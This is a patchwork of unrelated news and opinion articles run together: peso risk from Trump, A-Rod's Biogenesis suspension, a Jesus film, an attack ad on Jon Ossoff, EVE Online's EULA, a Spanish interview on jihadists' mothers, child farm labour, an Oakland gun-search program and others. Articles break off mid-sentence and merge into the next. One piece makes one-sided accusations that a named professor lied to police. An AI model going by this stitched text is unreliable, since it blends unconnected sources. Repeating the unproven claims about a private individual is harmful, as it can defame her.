The bank’s emerging-markets strategists Kenneth Lam and Dirk Willer stated in a research note that the GOP nominee’s, “anti-Mexico rhetoric,” the U.S. election presents clear risks to the Mexican peso.” Economist Enrique Camacho told Univision that, “We don’t know who will win [the U.S. election], but the closer we get [to election day], the more it will affect the Mexican peso.”
Citigroup’s Lam and Willer went on to note that, “While in the end, campaign rhetoric may not become reality, not to mention serious doubts about the legality of some of the proposed actions, a high degree of uncertainties will weigh on the peso.” One of the uncertainties that the bearish bankers are referring to is Trump’s pledge to, “On day 1,” make money transfer firms such as Western Union, deny services to illegal immigrants trying to send remittances home as a a strategy for forcing the Mexican government to pay for a border wall.
The research note goes on to state that, “We don’t think the ‘Trump risk’ is in the [Mexican peso] price yet in a meaningful way.” Trump has previously caused worries in the Mexican finance community such as when Carlos Serrano, the Chief Economist for the largest Mexican bank, BBVA-Bancomer said in May, “If the polls give him a shot, he will make more noise on the type of exchange [rate for the peso].”
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.New York Yankees third baseman Alex Rodriguez may face a lifetime ban from Major League Baseball due to the league's ongoing investigation into his involvement with Biogenesis, according to Jim Axelrod of the CBS Evening News.
If Rodriguez is not banned for life, it is very likely that he will face a suspension similar to the one handed out to Brewers' outfielder Ryan Braun on Monday. Jon Heyman of CBSSports.com reported on Tuesday that A-Rod's suspension was "all but a certainty", and that the former superstar is one of fifteen players who will be suspended in connection to the case.
Yankees close to acquiring Alfonso Soriano? Of course they are! They have a shortage of aging players.
Rodriguez has no plans to ask for a plea deal similar to Braun's, according to USA Today's Bob Nightengale.
Nightengale also notes that the soon-to-be 38-year old is likely to receive a suspension that exceeds 100 games and will likely appeal any sanctions from the league.
Rodriguez recently met with league officials about the matter for 4.5 hours and was presented with "evidence far beyond what the league had on Braun", according to T.J. Quinn of ESPN.com.
By establishing the seriousness of the issue by suspending Braun for the remainder of the season, Major League Baseball has signified to Rodriguez that he will be punished for his actions this time.
In nineteen major league seasons, the fourteen-time All-Star has hit.300 with 647 HR and 1,950 RBI. He has missed the entire season due to injury, and a recent setback with his quad has put the remainder of his season in doubt.
In addition to Braun and Rodriguez, players linked to the Biogenesis scandal include Melky Cabrera (Blue Jays), Everth Cabrera (Padres), Francisco Cervelli (Yankees), Bartolo Colon (Athletics), Nelson Cruz (Rangers), Fautino de los Santos (free agent), Yasmani Grandal (Padres), Fernando Martinez (Yankees), Jesus Montero (Mariners), Jordan Norberto (free agent), Jhonny Peralta (Tigers), and Cesar Puello (Mets).
More from MLB Daily Dish:Biblical adventures are the new fairy tales, at least when it comes to Hollywood. As evidenced by the upcoming releases of Darren Aronofsky’s Noah and Ridley Scott’s Exodus, religious epics are the newest trend to take Hollywood by storm.
The latest filmmaker to jump on that bandwagon is Waterworld director Kevin Reynolds, who’ll the Jesus Christ pic The Resurrection. The project is described as being similar to Ridley Scott’s Gladiator in tone, only family-friendly and with more mystery. (So maybe not that much like Gladiator after all, then.) Hit the jump for plot details and more.
The Resurrection is set in the 40 days following the death of Jesus Christ. The protagonist is an agnostic Roman Centurion who’s assigned by Pontius Pilate to look into the rumors that the Jewish Messiah has risen. He sets out to find the missing body of Christ in order to squelch an imminent uprising in Jerusalem.
The investigation brings the character in contact with several famous Biblical characters, including the Apostles. As he digs deeper, he begins to rethink his assumptions about this supernatural event.
Paul Aiello scripted The Resurrection, with contributions from Reynolds and Karen Janszen. His brother Patrick Aiello will produce, alongside LD Entertainment’s Mickey Liddell.
The release is tentatively scheduled for the 2015 Easter weekend. The timing makes perfect sense on a thematic level since the story does, after all, depict the very first Easter. However, it’ll have some stiff competition if it sticks to that exact date. Easter falls on April 5 that year, and The Avengers: Age of Ultron is set to open a few days earlier on April 1.
Reynolds recently received an Emmy nomination for directing the critically lauded History miniseries Hatfields & McCoys. His other previous projects include The Count of Monte Cristo, Waterworld, and Robin Hood: Prince of Thieves.Attack Ad Marks New Era For Millennials Running For Office
Enlarge this image toggle caption John Bazemore/AP John Bazemore/AP
For years, parents have been warning their college-age children to be careful what they post on social media.
Now, one young candidate is learning this important lesson the hard way — everything you post can and will be used against you in politics.
Jon Ossoff, 30, is running as a Democrat in a special election in Georgia. But the Congressional Leadership Fund, a superPAC aligned with GOP leadership, launched an attack ad Wednesday hitting him with some unflattering college footage. It includes a clip of him dressed as Han Solo in a Star Wars parody of the school's alcohol policy. It's an effort to paint Ossoff as a "spoiled frat boy" and undercut his experience on Capitol Hill in a race taking place in a conservative state.
YouTube
The ad marks a new era in politics. Many under the age of 35 live their lives on social media. It's ubiquitous. In years past, opposition researchers would have to dig deep to hope for leaked videos or testimony from former friends, rivals and roommates. Now, they don't have to go much farther than Google or the photos section of Facebook pages.
The clips of Ossoff are easily accessible via YouTube from his college a capella group, the Georgetown Chimes. Another clip shows them singing a parody of Billy Joel's "Uptown Girl," with the lyrics, "Georgetown girl. You know she's living in her M Street world. She never tires of her high-class toys."
The $1.1 million buy from the leadership fund runs through the April 18 all-party primary to replace former Rep. Tom Price, who resigned to become President Trump's secretary of health and human services.
Price's suburban Atlanta seat has emerged as a rare opportunity for Democrats — in a district that went from voting for Mitt Romney by 24 points to one Trump carried by only 1. Democrats hope to capitalize on backlash against the president to pull off an upset.
If no candidate reaches 50 percent, the top two finishers, regardless of party, will advance to a June 20 runoff. The heavy investment from the superPAC also shows Republicans are taking the race seriously and are worried about Ossoff's early momentum.
Ossoff has become a somewhat unlikely candidate for Democrats. He's a documentary filmmaker who previously worked as a legislative aide on national security issues for Rep. Hank Johnson, D-Ga. The congressman threw his support behind Ossoff, as did neighboring Democratic Rep. John Lewis.
With the attention of progressive blog Daily Kos and social media shoutouts from Hollywood celebrities like Kristen Bell and Debra Messing, he has already raised $2 million. The Democratic Congressional Campaign Committee has paid for nine staffers on the ground to help out, but the district likely remains an uphill climb for the party.
The message the superPAC ad is trying to show is clear — that during the five years Ossoff worked for Johnson, some of which he was still studying at Georgetown, he was still an immature kid.
Johnson disputed that in a statement:
"This is absurd. Jon spent five years working on National Security issues for me, and he worked on such sensitive programs that he received a top secret security clearance from the Department of Defense. Washington political operatives are coming into Georgia to spread false personal attacks — it's what the American people are sick and tired of."
A visual "sticks with voters"
University of Kansas political science professor Patrick Miller said this line of attack isn't surprising, given Ossoff's age and the prevalence of social media among millennials. With visuals, it's an easier way to get across to voters that this candidate may be unprepared or just too young.
"What you're putting out on Facebook, Instagram or whatever venue, if it's there and and publicly available," Miller said, "it just becomes an easier way for opponents who want to hit you over your age. It's an easier way to visualize that. It sticks with voters."
And as more millennials run for Congress or other political offices, these types of ads are likely to continue to write themselves.
"Most young people are probably not thinking, 'What am I going to be doing in 10 years?' a lot of times," Miller added. "They're focused on being in college and being young. A lot of times, they look at social media as a way to express themselves, what they're doing right now. They're not really thinking about it in a professional way and what type of image they want to craft."
A Star Wars parody, underage drinking and some mocking lyrics about Georgetown girls may not be a death knell and some voters may be willing to write it off as a youthful indiscretion. However, the leadership fund's executive director, Corry Bliss, warned it has more coming that is being prepped against Ossoff.
"The point is Jon Ossoff is simply not being honest when he talks about his resume," Bliss said. "He wants to play dress-up and pretend to be a grown up and say, for five |
allies, those who love us, and those willing to stand up for us; we need to heal, and we need to be there for each other, and we need to be vigilant against further attacks. Lest anyone think this was an isolated nutjob or dismiss the attack as generic anti-American violence in the name of ISIS, another attack, by a white man from right here in Indiana was arrested on his way to L.A. Pride, with explosives and assault rifles in his possession.
And those of you reading this who aren’t part of our family, you need to ask yourself, will you stand for us if someone means us harm? Will you help put a stop to the hate, bigotry, and discriminatory laws being aimed at us? If so, welcome to the family. Love is welcome here.
AdvertisementsUPDATE: SCHOOL DEBUNKS MUSLIM PROFESSOR’S CLAIMS, REINSTATES STUDENT Documents obtained by the Central Florida Post confirm Professor Zufari may have “modified” her testimony to police. By Jacob Engels In the ongoing saga between a Rollins College student and professor, our publication has learned of the existence of two conflicting reports relating to the controversy between Christian student Marshall Polston, and Muslim Professor Areej Zufari. Ms. Zufari is accused of abusing her power to exact revenge in the form of a bad grade on Polston, pushing for his suspension, and of using the class as a vehicle to promote her radical interpretation of the Islamic faith. The Central Florida Post first reported this story, which has since gone worldwide and been shared tens of thousands of times on social media. Our latest investigation reveals a report from the Rollins College Campus Safety Department, which alleges Zufari called police after Polston was “seen” looking through a window of her classroom. Backed up by a student, whose name we have redacted for their privacy, Mr. Polston is accused of “staring into the room”. We were able to determine in our first article that this was impossible through security footage at the gate of Polston’s neighborhood, along with surveillance stills from a Dr. Phillip’s Chipotle restaurant. READ THE CAMPUS SAFETY REPORT HERE: Rollins College Campus Safety Report by Jacob Engels on Scribd But the final Winter Park Police Department report, which they are making available to the public, makes no mention of Polston being on campus. Instead, it reads MUCH DIFFERENTLY than the original report. Zufari complains about Mr. Polston’s emails chastising her for giving him a sloppy grade without explanation, but makes no mention of him being at the most recent class or on campus. In fact, Zufari admits that no physical threats were made and she was upset he “disrupted” HER CLASS. READ WPPD REPORT HERE: Winter Park Police Report (Final) by Jacob Engels on Scribd Why did Areej Zufari change her story in the final police report? Why is there no mention of her allegations and of the student she enlisted to support her false report to the Winter Park Police Department?
Was Polston present or not? Did you enlist a student to lie for you or not? People want to know.
The discrepancies in these two reports demonstrate that Zufari’s testimony is not reliable and is ever-changing to fit her needs, she even attempted to say it was about “guns” to the Orlando Sentinel… saying she once heard Mr. Polston speak about firearms. She provided no context of the comments, but provided liberals with a way to change the narrative.CCP Games is currently gearing up for EVE Online's switch to freemium with its Ascension expansion pack, and today they've revealed their new End User License Agreement, which outlines a zero-tolerance policy when it comes to the buying and selling of in-game goods.
The new agreement, which will come to the fore on November 8, says that going forwards no player will be allowed to transfer, sell or auction any content appearing within the game environment.
This new addendum to the EULA, basically outlawing the buying and selling of in-game goods, also acts as a warning to those involved in third-party gambling services using EVE to knock things on the head before November 8. To help things along, CCP have already taken action against two organisations in game, EVE Casino and IWANTISK, who have both been shut down and stripped of all their assets and ISK — the game's currency — after CCP found compelling evidence that both were involved in illicit activity.
In a blog on their website, CCP have outlined their plans: "In short, this addition to the EVE Online EULA means that as of the launch of Ascension, players will be prohibited from using in game assets and currency, as well as the EVE IP, to take part in or promote gambling services or other games of chance that are operated by third parties."
What this means moving forwards is unclear. CCP might offer their own cash for ISK service, but because so much of EVE Online is carried on the back of its accurately modeled (and delicate) economy, it seems more likely they're just trying to make the market more secure before opening it up to hordes of curious new players.Alexandra Gil es periodista especializada en seguridad y terrorismo yihadista. Su experiencia le ha llevado a escribir un libro en el que recoge testimonios de familias europeas que tienen algún miembro combatiendo con el Estado Islámico. Esta entrevista se realizó antes del atentado del puente de Londres y el mercado de Borough.
¿Por qué se hizo periodista?
Porque sentí la necesidad de buscar y retratar las historias que se esconden tras los datos que leemos en los periódicos, que vemos en un telediario. Me incomodaba ese ritmo frenético en la información porque en el camino estábamos perdiendo contexto. Ser periodista es para mí contar la verdad a pesar de todo. Y en los detalles de cada fenómeno que toca nuestra sociedad habitan partes de esa verdad. No contarlos sería en cierto modo obviar una parte del contexto.
Tuve la oportunidad de cubrir los atentados y la información ligada al terrorismo yihadista en Francia¿Y por qué se especializó en yihadismo?
Conocí a Fernando Reinares, experto en terrorismo global mientras cursaba el Máster en Retos de la Paz, la Seguridad y la Defensa. Me apasionô el estudio de este fenómeno desde el principio, porque vamos a convivir con él durante décadas y como periodista me interesaba conocerlo en profundidad. Me instalé en Francia hace siete años y a partir de 2015 tuve la oportunidad de cubrir los atentados y la información ligada al terrorismo yihadista para medios españoles. De forma paralela he buscado estar en contacto con agentes ligados al yihadismo, como personal penitenciario, víctimas del terrorismo yihadista, periodistas amenazados por Estado Islámico, y ahora, las madres de los yihadistas francófonos.
¿En qué momento el papel (del periódico) se le quedó corto?
Muy pronto. Siempre que leo algo que he escrito tengo la sensación de haber olvidado detalles, de haber podido hacer algo más para que se comprenda la problemática en su conjunto. Esto se concretó cuando decidí introducirme en las vidas de las madres de los yihadistas. Publicar estos testimonios en un medio de comunicación habría condenado a estas historias al recorte, por una cuestión de espacio, simplemente.
¿Qué diferencia escribir un artículo de un libro?
La libertad de cuidar un producto de principio a fin, de enfocarlo con tiempo, cuidar a las fuentes, explicarles mi forma de trabajar, leerme una y otra vez, hacer autocrítica, reflexionar. En definitiva: tener tiempo en una era de bulimia informativa. El formato tenía un principio y un final, y entre la portada y la contraportada de un libro duermen todas las historias que lo conforman. En este caso, de algún modo y gracias al formato libro, todos los testimonios se retroalimentan.
¿Por qué habla de las madres en este libro?
Porque existen. Me pareció razón suficiente para dedicar a sus historias un año de mi tiempo. Los terroristas tienen madre, y ellas tienen un mensaje a hacernos llegar. Sus vidas siguen después de la huida de sus hijos. Estas madres guardan en silencio las transformaciones de esos jóvenes europeos que un día prefirieron morir en Siria que vivir en Francia. Es una información muy valiosa para identificar qué falló en cada caso, pero también para recrear sus vidas, las de quienes se quedan y sobreviven sabiendo que su hijo es también su enemigo. Pero siguen siendo sus hijos. En países como Francia o Bélgica no está bien visto que tomen la palabra, y ellas mismas no suelen sentir la legitimidad de hacerlo en los medios, por miedo al estigma. Saber que se trataba de formato libro les daba menos miedo a la hora de entablar conversaciones conmigo.
Varias madres acusan a su gobierno de no haber evitado que sus hijos se marchasen, ¿está haciendo poco Europa?
Europa ha cometido muchos errores. De coordinación, sin ir más lejos. Los atentados París en noviembre de 2015 sirven de ejemplo de esta descoordinación. Abdelhamid Abaaoud pudo viajar a Siria numerosas ocasiones y burlar los controles de seguridad, regresar a Molenbeek para llevarse a su hermano (entonces menor de edad), e incluso pudo huir en coche a Bruselas horas después de los atentados, junto a sus cómplices. Hoy países como Francia se vuelcan en programas de “desradicalización” sin saber muy bien cuál será el resultado, o si habrá uno, pero en ese ensayo-error existe la voluntad real, aunque tardía, de encontrar vías que impidan que este fenómeno termine fracturando del todo nuestras sociedades.
En muchos casos se radicalizan por predicadores en los alrededores de la mezquita de sus puebloAunque en el libro hay varias personas que no cumplen el perfil, ¿qué tipo de personas son las que suelen unirse a Estado Islámico?
Los casos que he tratado son, efectivamente, diferentes entre sí. En el caso de Francia, uno de los países europeos más tocados por el yihadismo (al menos 2.000 jóvenes franceses se han unido a Daesh), 80% provenían de familias de tradición musulmana. El 20% restante eran conversos del catolicismo.
En las historias que recoge el libro, se perfilan casos como el de Pierre, un joven de 18 años matriculado en la universidad en el momento de su viaje a Siria y reclutado en un pueblo del este de Francia. Una decena de jóvenes del mismo grupo de amigos siguió sus pasos semanas después. En este caso, se ha demostrado la presencia de predicadores de un islam radical en los alrededores de la mezquita de su pueblo. Este es uno de los puntos comunes de estas historias: la presencia real de figuras de reclutamiento desplegadas en los barrios de estas familias.
Factores socioeconómicos como el desempleo, el sentimiento de desarraigo o la problemática ligada a la integración de jóvenes de padres marroquíes o argelinos son factores que se reproducen con cierta asiduidad. También la radicalización en las prisiones francesas, que el personal penitenciario ha definido incansablemente como verdaderas escuelas de yihadismo durante la última década.
¿Cuáles son los signos de radicalización?
No existe un patrón, aunque si se han detectado comportamientos que se reproducen y, en base a esto, se han puesto en marcha campañas para detectar esta deriva.
La adhesión a teorías conspiratorias y la defensa repentina y obsesional de la causa palestina en jóvenes que con anterioridad no mostraban signos de concienciación política ni militantismo son dos factores que las familias de mi libro me repiten a menudo. Estas familias no supieron verlo a tiempo, pero hoy aseguran que a través de estos dos hilos Daesh pudo refutar cualquier contradicción a su ideología (“Los medios te mienten”) y despertar en sus reclutados una justificación moral a la defensa del hermano musulmán que sufre al otro lado del mundo.
Esta militancia aparece comúnmente unida a un repliegue en la identidad musulmana, a un aislamiento, y a prácticas religiosas rigoristas. (Dejar de escuchar música o de hacer deporte, no sentarse a comer en una mesa en la que hay una botella de alcohol, alejamiento de las antiguas amistades…).
Algunas personas se esfuerzan en culpar a las familias porque no se dan cuenta de la radicalización de sus hijos, pero en varios casos vemos que tienen vínculos muy fuertes, ¿entonces qué hace que estos jóvenes se marchen?
Una vez que el joven ha adherido a la ideología salafista yihadista, corta con lo que él considera su jahiliya, (periodo de ignorancia preislámica). Para que esta deriva sea posible, siempre ha habido un hecho que acelera el proceso que hace que su vida anterior queda anulada. En los casos que he tratado, este factor pudo ser un drama familiar, la presencia de una figura adoctrinadora del islam radical en su entorno, un periodo en la cárcel (donde el islam radical se sigue vendiendo como una vía de redención).
Daesh ha sabido explotar el desarraigo de miles de jóvenes europeos y venderles a través de su sofisticada propaganda un proyecto político lo suficientemente excitante como para dejar atrás una vida que en un momento determinado consideraron vacía de sentido.
¿Es Europa racista?
Cada vez más. Los fascismos se retroalimentan. Daesh necesita a la extrema derecha para que su mensaje llegue con más fuerza, y las fuerzas políticas xenófobas que han ganado adeptos en los últimos años en Europa lo han hecho, en buena parte, explotando ese miedo de sus ciudadanos a morir en un atentado terrorista. La crisis económica y el derrumbe de las fuerzas políticas tradicionales en Europa, unidos al terrorismo yihadista, han allanado el terreno a esa banalización del discurso de odio.
¿Qué ha aprendido sobre periodismo?
Me he reconciliado con mi profesión y ha sido gracias al tiempo. Encontrar a estas madres fue complicado, pero convencerlas de colaborar en este libro lo fue todavía más. Pronto me di cuenta de que el tiempo era la clave. Así que dejé mi trabajo como periodista independiente durante un año y me concentré en esto. Quería huir de la inmediatez, del clickbait, de los 140 caracteres, y concentrarme en mimar las fuentes, escuchar, contrastar, analizar y aprender de los expertos en la materia.
¿Y qué le han enseñado estas madres?
Es curioso, pero me han enseñado mucho sobre periodismo. Incluso (yo diría, especialmente) aquellas que no han querido colaborar. Cuando más de una docena de madres me cerraron sus puertas y se negaron a hablar conmigo porque me presenté como periodista, ya me estaban enseñando algo sobre mi profesión. Algo habíamos hecho mal. Así que quise saber qué, y hacer estrictamente lo contrario.
Muchas han pensado en el suicidio, pero lo cierto es que ninguna ha llegado a renunciar a su batalla. Quieren encontrar respuestas a sus preguntas y que sus vidas rotas sirvan para que otras familias no atraviesen el mismo calvario. No son conscientes de ello, pero esa fuerza también la transmiten. Sobre todo después compartir de más de 130 horas con ellas.WASHINGTON (Reuters) - Jeb Bush, a potential Republican presidential candidate in 2016, said on Sunday that illegal immigrants who come to the United States to provide for their families are not committing a felony but an “act of love.”
Former Florida Governor Jeb Bush speaks during the Faith and Freedom Coalition Road to Majority Conference at the J.W. Marriott Hotel in Washington, June 14, 2013. REUTERS/Mary F. Calvert
In comments at odds with the views of many in his party, Bush, the son of the 41st president and brother of the 43rd, said of the divisive immigration issue: “I think we need to kind of get beyond the harsh political rhetoric to a better place.
“I’m going to say this and it will be on tape and so be it,” Bush said in an interview with Fox News host Shannon Bream in an event at the Texas presidential library of his father, George H.W. Bush.
“The way I look at this is someone who comes to our country because they couldn’t come legally... and they crossed the border because they had no other means to work, to be able to provide for their family, yes, they broke the law, but it’s not a felony.
“It’s an act of love, it’s an act of commitment to your family.
Bush, 61, added: “I honestly think that that is a different kind of crime. There should be a price paid, but it shouldn’t rile people up that people are actually coming to this country to provide for their families.”
Bush repeated at the event that he would decide on a presidential bid by the end of the year.
A comprehensive immigration reform bill passed the Democratic-controlled U.S. Senate in June 2013 but has stalled in the Republican-controlled House of Representatives.
Republican lawmakers have cited deep divisions in the party over the issue, including granting legal status to 11 million undocumented immigrants.
A Republican Party review after the last presidential election had urged the party to embrace immigration reform to attract more Hispanic support. Democratic President Barack Obama, who was re-elected in 2012, won 71 percent of the Hispanic vote to Republican challenger Mitt Romney’s 27 percent.
Recent polls have suggested that if he were to run, Bush, a former Florida governor, would be weighed down by Americans’ lingering attitudes toward his brother, George W. Bush, who left office in January 2009 as one of the least popular presidents in U.S. history.
In a Washington Post/ABC News poll last month, nearly half the voters surveyed said they “definitely would not” vote for Jeb Bush in 2016 - a level of disapproval matched only by Romney. Even Bush’s mother, former first lady Barbara Bush, has been lukewarm about the notion of another son running for president.
Asked by Bream about the critical considerations that would go into his decision on whether to run for the presidency, Bush said one was whether he could do it with a “hopeful, optimistic message” that avoids drawing him into a political “mudfight.”
The other consideration, he said, “is it OK for my family?
Is it something that isn’t a huge sacrifice for our family.”
He added: “It turns out that not running has generated more interest than if I said I was running.”Fifty years ago, US Marines invaded the Dominican Republic, marking the first US military intervention in Latin America for over three decades.
42,000 American troops invaded the Caribbean nation on 28th April, 1965. By the end of the campaign, 3,000 Dominicans and 31 American military personnel had lost their lives. The justification for the invasion was unrest surrounding attempts to restore the government of Juan Bosch.
Following the assassination of the dictator Rafael Trujillo in May 1961, the Dominican Republic held its first free democratic elections in over thirty years. The winner, Bosch, established a government defined by its liberal policies, including political freedom and promises of social reform.
Bosch’s government was unpopular with the United States, and military and business figures in the Dominican Republic itself, because of its support of Cuban leader Fidel Castro and its economic policies. Within seven months a military instigated coup overthrew the democratically elected government and replaced it with a military junta.
The three man military junta brought an end to the reforms of Bosch’s government. Political freedom was curtailed and social reform halted, while widespread accusations of corruption were levelled at the new government. The country descended into political chaos, as various groups, including sections of the military, struggled for power.
On the 24th April, 1965, a group of young army officers rebelled and declared their intention to restore Bosch to power. Loyalist forces attacked the capital, Santo Domingo, in an attempt to stop the uprising, but were repelled by thousands of armed civilians and rebelling soldiers who supported Bosch. On the 28th April the US Embassy warned that the pro-Bosch rebels would take over the country within a few days, and claimed that Communists had gained control of the uprising.
US President Lyndon B. Johnson stated that the US troops had been deployed to prevent the Dominican Republic becoming a Communist dictatorship, with suggestions repeatedly being made that the Dominican Republic could become a “new Cuba”. Lists of supposed Communists in the Dominican Republic were given to the US media by the American government. These were quickly discredited however, as many of the names on the lists were revealed to be either dead, or to have incredibly tenuous links to Communism.
Johnson’s decision to send troops into the Dominican Republic was met with criticism in the United States. The justifications were viewed as flimsy, and in the context of the growing discontent over US involvement in the Vietnam War, the events in the Dominican Republic brought American foreign policy further into question. For many Latin American countries, the US intervention in the Dominican Republic set a worrying precedent, suggesting a return of the US intervention in Latin American affairs that had been so common in the early twentieth century.
After a long stalemate, with the rebels holding Santo Domingo for months despite the rest of the country having been taken over by the US forces, the US military finally achieved its objectives and installed a provisional government in September 1965. Elections followed in 1966, and Joaquin Balaguer, the original successor to Rafael Trujillo, was installed in power.
Although Balaguer, a Conservative and supporter of the United States, was officially elected, controversy surrounded the election, with many questioning the legitimacy of the democratic process. Documents declassified in the United States since the 1980s have confirmed this accusation, proving that the elections which elected Balaguer’s 28 year dictatorship were not free.
Image courtesy of Wikimedia Commons user: Hugo van Gelderen / AnefoIt’s been reported that the Washington Redskins merchandise sales have dropped 43.8% from this time last year. And some have attributed this drop in merchandise sales to the Redskins name issue, inferring that fans have stopped buying Redskins merchandise over opposition of the Redskins name.
But once again how soon they forget. Because two years ago this time Redskins merchandise sales were through the roof and the team name had nothing to do with stopping it. Redskins merchandise was selling well then for two major reasons:
Robert Griffin III was taking the NFL by storm and his popularity was soaring. The Redskins were winning and going to the playoffs.
However, after a 3-13 season and RGIII’s popularity leveling out the merchandise sales have decreased. Maybe that doesn’t mean anything to those that oppose the name who only want to cherry pick statistics to support their argument. But recent history contradicts that faulty logic.
Because once the Redskins start winning again guess what’s going to happen? The merchandise sales will increase. And when it does what will those who oppose the name say then? Maybe something like “it didn’t increase enough.”, or “it would have increased more if it weren’t for the Redskins name”.
Just stop it why don’t you? There’s an ebb and flow to everything. Stocks rise and fall just like the economy does. Other teams like the Ravens, Texans, Giants, and Falcons merchandise sales dropped too. And guess what they had in common with the Redskins?
They had all went from being a winning team to losing. So Redskins name changers should just admit it to yourselves. No matter how much you want to attribute this drop in sales to be about the Redskins name, the fact is it had nothing to do with it.After another spring break spent lugging 50-pound buckets of vegetables and using sharp shears to cut onions, Norma Flores López returned to school with her hands too swollen to hold her pencil. She fell behind in her schoolwork. It wasn't the first time.
From age 12, López, who is now 26, worked 12-hour days, seven days a week on farms during peak season. Children must be at least 16 years old to work in most industries in the United States, and generally do so with strict limitations on the number of hours they work. For hazardous work such as manufacturing and mining, the minimum age is 18.
But an exemption for agriculture in U.S. law means employers can hire children as young as 12, and sometimes younger, to work in the fields. Restrictions on the number of hours children can work outside of school in other industries don't apply here and work deemed particularly hazardous can begin as young as age 16. A low minimum age for farmworkers may have made sense when the Fair Labor Standards Act was enacted in 1938, when family farms needed extra hands to bring in harvests, but agricultural enterprises today are different from those in that era.
There are 400,000 to 500,000 child farmworkers in the United States, according to the Association of Farmworker Opportunity Programs (AFOP), the majority of whom are U.S. citizens. But since many children do not get paid themselves -- their salary is often rolled into their parents' paycheck -- tracking them can be difficult.
When this happens, "they're not even counted as a head that's working, or as a warm body on the farm," explains Kyle Knight from Human Rights Watch's Children's Rights Division.
With school ending in most states now, Rep. Lucille Roybal-Allard of California plans to reintroduce the Children's Act for Responsible Employment (CARE) in Congress, to close the loophole. The act would bring age and work-hour standards for children in agriculture in line with existing standards in other industries. "It levels the playing field," says Roybal-Allard, so that children working on farms "would have the same rights and protections as all other children who work in this country."
For years, children's rights advocates have documented the vulnerability of children working in commercial agriculture in the United States. "In terms of fatalities, this is the most dangerous occupation open to kids in the U.S.," Knight says. "These conditions are not what Americans would expect to find in their own country."
Farmworkers are frequently exposed to dangerous pesticides, heavy machinery, and sharp tools, and children are much more vulnerable to the bad effects of these than their older colleagues, according to Levy Schroeder, director of health and safety programs at the AFOP. Deaths from heat exposure and tractor rollovers, and lifelong repetitive strain injuries from stooping for hours on end are just some of the risks that young children face in farm work. "They are not little adults; their bodies have not yet developed," Schroeder says. Children's young immune systems are also particularly susceptible to pesticide exposure, which has been associated with cancer and respiratory and reproductive problems over the long term.
Maria Mandujano, now 20, started working on farms in her home state of Idaho at age 11. "It was just something you had to do to put food on the table," she says, but now she laments the experience. "I wish my parents would have said no, or somebody would have been there to say no," she adds. Mandujano is now studying in college and is trying to lure her younger brother away from the fields. "I always try to explain to him how he can benefit from not working the fields right now, what he could do in exchange," she says. "For example, learning from my own mistakes and not growing up as quickly as I did."
One thing that frequently gets sacrificed is education -- Mandujano is a rarity for making it to college. In fact, young farmworkers are four times more likely to drop out of school than their peers, according to government estimates. López moved around the country for work during her summers and often found herself months behind in school when she returned to her home in Texas in late October. Despite the odds, she graduated with a bachelor's in communications and now works at AFOP to advocate for those less fortunate. "More than half of these kids don't complete high school," she says, "and we continue to allow that to happen."
Members of Congress have been introducing draft legislation like Roybal-Allard's for more than 10 years, but no bill has ever reached a vote. "When we first started... many of my colleagues were not even aware that there was this double standard when it came to child labor laws," Roybal-Allard says. Support rose to 107 co-sponsors after the bill was last introduced in 2009, but the bill went nowhere.
Farmers' representatives continue to oppose the legislation, arguing that farmwork is "safe, wholesome work for kids," in the words of Frank Gasperini of the National Council of Agricultural Employers. "In towns and suburbs, children can go and work at McDonalds or bus tables in a restaurant, but in rural areas, those opportunities tend not to be there," he says. And besides, he adds, "some of those migrant families need the money that their children help produce."
But the CARE Act would not deny children the experience of working on farms, says Roybal-Allard. By raising the minimum age and increasing protection mechanisms, it would simply allow them to have that experience under the same laws governing every other industry. It also leaves in place an exemption for family farmers, since parents are more likely to look after the health and safety of their own kids on their own farm.
Reflecting on the growth in support for the CARE Act in recent years, Roybal-Allard remains optimistic. "I'm very hopeful that if we start getting the truth out about what is happening in the country with children in agriculture... we will be able to pass the bill."OAKLAND _ A six-month pilot program where Oakland police officers would knock on doors and ask permission to search homes for guns got the green light from the City Council’s public safety committee Tuesday night.
It goes to the full council Tuesday, when the council will meet at 6 p.m. at City Hall, 1 Frank Ogawa Plaza.
The consent-to-search program, as it is called, is based closely on a similar effort launched in St. Louis in 1994 and on ongoing programs in Boston and Washington, D.C. The idea is simple: To ask parents for permission to search their homes for weapons their children may be hiding.
Under the program, officers would request permission to search homes for guns. Guns would be taken away, but officers would not pursue prosecution unless the weapon was tied to a crime.
The St. Louis effort fizzled after initial success, but Oakland’s Deputy Police Chief David Kozicki said that in Washington, police officers say they cannot keep up with requests from parents to search their homes. Such is the interest in the program, he said.
Councilwoman Patricia Kernighan (Grand Lake-Chinatown), who is on the public safety committee, said she was surprised to hear that and hoped Oakland might see the same results.
“I think it’s worth trying and seeing what the community reaction is,” she said. “If it’s embraced as a way to get guns off the street, great. If people don’t want to cooperate, then we don’t continue the program.”
Kernighan and Councilwoman Desley Brooks (Eastmont-Seminary) asked the Police Department to look into the possibility of a consent-to-search program in February.
The police department is proposing a six-month trial period for the program beginning in either June or July, probably somewhere in West Oakland.
Lt. Kirt Mullnix said the program, which would be launched during summer break, would largely be operated by Campus Life and School Safety (CLASS) officers, who normally patrol in and around schools.
It also could involve department problem-solving officers as well. All told, six to 10 officers would be used in the effort, Mullnix said. He didn’t anticipate additional overtime being billed to the city.
Consent-to-search programs are not without controversy. Oakland civil-rights attorney John Burris criticized the idea when asked about it in February. And the American Civil Liberties Union has protested programs in other cities. Mark Schlosberg, police practices policy director for the ACLU of Northern California, said the organization would pay close attention to what happens in Oakland.
“There are a whole host of reasons why people might not want police to search their homes,” he said. “But people might not know they have a right not to consent.”
City and police officials stressed it would be important to educate community members about how the program works before implementing it and said providing education and outreach would be a priority.
Under the program, if guns were found, police would take them away, but not pursue prosecution unless the gun in question was tied to a shooting or homicide.
“The important thing is you’re looking at removing guns from the streets to prevent future violence,” Mullnix said. “You’re giving up arrest and prosecution for less violence in the future. It’s another tool we can use. There’s a lot of gun violence in Oakland and that’s why we’re trying it.”
Contact Kelly Rayburn at (510) 208-6435 or krayburn@bayareanewsgroup.com.I’m the annoying person that held up the line at Starbucks today. It wasn’t because I was on my phone, it wasn’t because I was fumbling around looking for my wallet and it wasn’t because I’m a PA ordering twenty Tall 3-shot, 1-pump, sugar-free hazelnut soy lattes. It was because a Starbucks Cashier and I were having a chat about which Star Trek show was better: Deep Space Nine or Voyager.
I wore a Voyager shirt today. Yes, I have a Voyager shirt from 15 years ago. (I also have a Spock bathrobe, thank you very much). I was ordering my drink when the following conversation happened:
